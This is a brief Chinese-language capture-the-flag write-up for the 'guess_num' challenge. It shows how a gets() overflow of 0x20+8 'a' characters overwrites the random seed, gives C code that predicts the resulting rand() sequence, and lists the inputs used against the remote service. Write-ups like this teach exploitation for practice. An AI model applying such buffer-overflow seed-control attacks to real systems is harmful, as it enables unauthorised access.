guess_num
首先检查
程序开启了Stack,NX,PIE,并且是一个64位的程序
看代码,
输入数字进行10次验证,每一次都对则Success。
然后cat flag
然而这是一个随机数,根本猜不到。
我们发现可以利用gets溢出覆盖随机数种子,从而自己控制一个随机数种子。
只需要0x20+8个a即可。
c代码:
#include<stdio.h>
#include<stdlib.h>
int main(){
srand(0x61616161);
int i = 0;
int num;
for(i=0;i<=9;++i){
num = rand()%6 + 1;
printf("%d",num);
}
return 0;
}
输出
5646623622
直接远程调试:
输入aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
然后按顺序输入随机数
0 评论